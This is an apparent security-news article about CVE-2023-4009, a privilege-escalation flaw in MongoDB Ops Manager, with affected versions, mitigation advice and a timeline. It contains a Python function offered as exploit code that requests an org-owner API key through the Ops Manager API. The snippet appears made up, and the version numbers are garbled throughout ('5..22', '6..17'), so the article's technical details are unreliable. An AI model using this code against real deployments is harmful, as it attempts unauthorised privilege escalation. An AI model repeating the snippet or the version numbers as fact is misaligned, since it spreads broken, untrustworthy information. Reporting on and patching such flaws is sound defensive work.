CVE-2023-4009: Privilege Escalation in MongoDB Ops Manager v5. and v6.

Security researchers have uncovered a vulnerability in specific versions of MongoDB Ops Manager that allows authenticated users with project owner or project user admin access to generate an API key with the privileges of an org owner, leading to privilege escalation. In this article, we will discuss the details of the vulnerability, the affected versions of MongoDB Ops Manager, and some potential solutions.

MongoDB Ops Manager is a powerful database management platform that provides a wide range of features to help developers and administrators manage MongoDB clusters. However, in versions prior to 5..22 and 6..17, a critical vulnerability was discovered that could lead to privilege escalation in certain configurations.

Vulnerability Details

The vulnerability, identified as CVE-2023-4009, is a privilege escalation flaw that occurs when an authenticated user with project owner or project user admin access manages to generate an API key that has the privileges of an org owner. This essentially grants the malicious user the same level of access and control as an organization owner, allowing them to carry out various actions that should be restricted to a higher level of privilege.

To illustrate how this vulnerability can be exploited, consider the following sample code snippet that demonstrates an unauthorized user generating an org-level API key:

def exploit_mongodb_vulnerability(api_url, project_id, user_id, user_api_key):
    headers = {"Content-Type": "application/json", "Api-Key": user_api_key}
    payload = {
        "desc": "Generated Org Key",
        "roles": [{"orgId": "", "roleId": "5eac5ee38397364304718bfe" }],
        "createdByUserId": user_id,
        "projectId": project_id,
    }

    response = requests.post(api_url, json=payload, headers=headers)

    if response.status_code == 200:
        print("API Key Generated Successfully")
        print(response.json())
    else:
        print("Error in API Key Generation")
        print("Response code:", response.status_code)
        print(response.content)

Affected Versions

The vulnerability affects MongoDB Ops Manager v5. prior to version 5..22 and v6. prior to version 6..17. If your organization is using any of these affected versions and configurations, it is strongly recommended that you update to a patched version as soon as possible.

You can find the release notes and download links for these patched versions here

- MongoDB Ops Manager v5..22 Release Notes
- MongoDB Ops Manager v6..17 Release Notes

Mitigation

In addition to upgrading to a patched version, it is a good security practice to follow the principle of least privilege when assigning user roles and permissions in MongoDB Ops Manager. This means that users should be granted only the permissions needed to perform their jobs and nothing more. By limiting the number of users with higher-level privileges such as project owner or project user admin access, the risk of this vulnerability being exploited is significantly reduced.

Conclusion

The CVE-2023-4009 vulnerability in MongoDB Ops Manager is a significant security flaw that could lead to unauthorized privilege escalation. It is essential for organizations using affected versions of MongoDB Ops Manager to upgrade to the patched versions and follow best practices for user role assignment. By staying vigilant and promptly addressing known vulnerabilities, you can help ensure the security of your MongoDB deployments and associated data.

Timeline

Published on: 08/08/2023 09:15:00 UTC
Last modified on: 08/14/2023 16:32:00 UTC